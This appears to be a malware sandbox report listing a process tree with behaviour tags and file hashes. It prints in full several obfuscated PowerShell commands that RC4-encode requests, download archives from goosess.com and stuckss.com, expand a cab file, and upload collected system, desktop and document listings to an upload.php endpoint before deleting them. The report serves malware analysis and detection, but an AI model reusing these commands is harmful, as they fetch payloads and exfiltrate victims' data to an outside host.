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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'https://goosess.com/read/get.php?wc=iew&vf=lk0100';$KWnAhHWFxDer = 'C:\Users\Public\Documents\di3726.zip';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260
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C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1828
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C:\Windows\system32\timeout.exetimeout -t 5 /nobreak2⤵
- Delays execution with timeout.exe
PID:1140
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_down.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d1.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_docu.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d2.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_desk.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d3.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_sys.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d4.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2800
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'http://stuckss.com/list.php?f=AYFLYVMK.txt';$KWnAhHWFxDer = 'C:\Users\Public\Documents\rBTob.cab';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352
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C:\Windows\system32\expand.exeexpand rBTob.cab -F:* C:\Users\Public\Documents\2⤵PID:1880
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C:\Windows\system32\timeout.exetimeout -t 57 /nobreak2⤵
- Delays execution with timeout.exe
PID:1800
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'http://stuckss.com/list.php?f=AYFLYVMK.txt';$KWnAhHWFxDer = 'C:\Users\Public\Documents\rBTob.cab';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Windows\system32\expand.exeexpand rBTob.cab -F:* C:\Users\Public\Documents\2⤵PID:2164
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C:\Windows\system32\timeout.exetimeout -t 57 /nobreak2⤵
- Delays execution with timeout.exe
PID:1320
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5b4de7046147797d80da08b19d4fd4183
SHA1eed524a53be0f850f8028b08773c4632aaa5cb5e
SHA256cdbeb16d136eec7a8306faf2f99e30ff3097a8a927b01f6956dde27fa9811e40
SHA512f99c86a8f339da13671103e1f3e3f1fcd67252ca0061fb5a72f385adde87c6ceda33a65c29a4f42d02be50be5346a941ecb980a5ef1a5b46b5551b37b6103694
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5e49f9eaa05d86328780cfa76fc5dcf8a
SHA18b26cd356395c4431db9fa3e0228481245e41a51
SHA2561c5d0f49f703b122463c0630f432ae7e8af1c8c65a06080208aacc8ad3534dec
SHA512da57fc16dfbd74bee45d0a261137dfd1587fc2a0018bfe736312e7efeea96f4034493ad898d3e67cac54ff66108455018cc48dfaf26d99991df42b98be6903b3
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Filesize
2KB
MD5ff7f2ed6e4d1bfc7eac233d369821b08
SHA1ac4f92b8ffc57d72de3f51522d8ad32bb27e767f
SHA256ad74caa83f820856ac2d3eeb19a6932dfb029143d71d421d9c7eec1f8df66ac2
SHA512c20cbab89eef3e281e33aafd001e21ffebe0d461452710a79669853f80f0089465d6612919feb8551abfb634c823d3c8ae2046a151405a41a8569a7df769078f
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Filesize
1KB
MD52b14f80139b10023e6f75e839fa22a1e
SHA16b29abaa3d8f93b810859354a30757cb83891a66
